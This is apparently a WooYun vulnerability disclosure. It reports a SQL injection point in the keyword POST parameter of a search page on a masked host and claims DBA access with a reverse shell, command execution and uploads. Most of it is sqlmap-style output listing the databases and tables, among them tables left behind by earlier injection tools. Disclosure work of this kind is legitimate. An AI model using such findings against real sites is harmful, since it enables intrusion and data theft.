WooYun.org

注入点;
**.**.**.**/public/search.jsp keyword=88952634 POST sql
dba权限,可反弹shell，执行命令，上传等等

available databases [6]:
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] qrzyc
[*] tempdb
Database: qrzyc
[54 tables]
+-----------------------+
| ad |
| cms_archive |
| cms_archive_hist |
| cms_archive_keyword |
| cms_archive_right |
| cms_pic_permission |
| cms_read_history |
| dtproperties |
| foofoofoo |
| pangolin_test_table |
| prj_consultation |
| prj_dealer |
| prj_saleshop |
| prj_saleshop20100903 |
| prj_saleshop20101109 |
| prj_saleshop_20100907 |
| prj_serviceshop |
| r3dm0v3_sql |
| sqlmapfile |
| sqlmapoutput |
| sys_Dict |
| sys_DictType |
| sys_GuestBook |
| sys_InfoDepart |
| sys_InfoGroup |
| sys_InfoUser |
| sys_InfoUserRead |
| sys_OperationLog |
| sys_SubCatery |
| sys_SysopDetail |
| sys_SysopIP |
| sys_SysopLogin |
| sys_category |
| sys_category_hist |
| sys_class |
| sys_class_role |
| sys_class_role_hist |
| sys_class_user |
| sys_class_user_hist |
| sys_depart |
| sys_depart_list |
| sys_detail |
| sys_file |
| sys_filesetting |
| sys_role |
| sys_role_item |
| sys_sequence |
| sys_version |
| sys_zone |
| sysconstraints |
| sysop |
| sysop_role |
| sysop_role_hist |
| syssegments |
+-----------------------+
Database: Northwind
[31 tables]
+--------------------------------+
| Categories |
| CustomerCustomerDemo |
| CustomerDemographics |
| Customers |
| EmployeeTerritories |
| Employees |
| Invoices |
| Orders |
| Products |
| Region |
| Shippers |
| Suppliers |
| Territories |
| Alphabetical list of products |
| Category Sales for 1997 |
| Current Product List |
| Customer and Suppliers by City |
| Order Details Extended |
| Order Details |
| Order Subtotals |
| Orders Qry |
| Product Sales for 1997 |
| Products Above Average Price |
| Products by Category |
| Quarterly Orders |
| Sales Totals by Amount |
| Sales by Category |
| Summary of Sales by Quarter |
| Summary of Sales by Year |
| sysconstraints |
| syssegments |
+--------------------------------+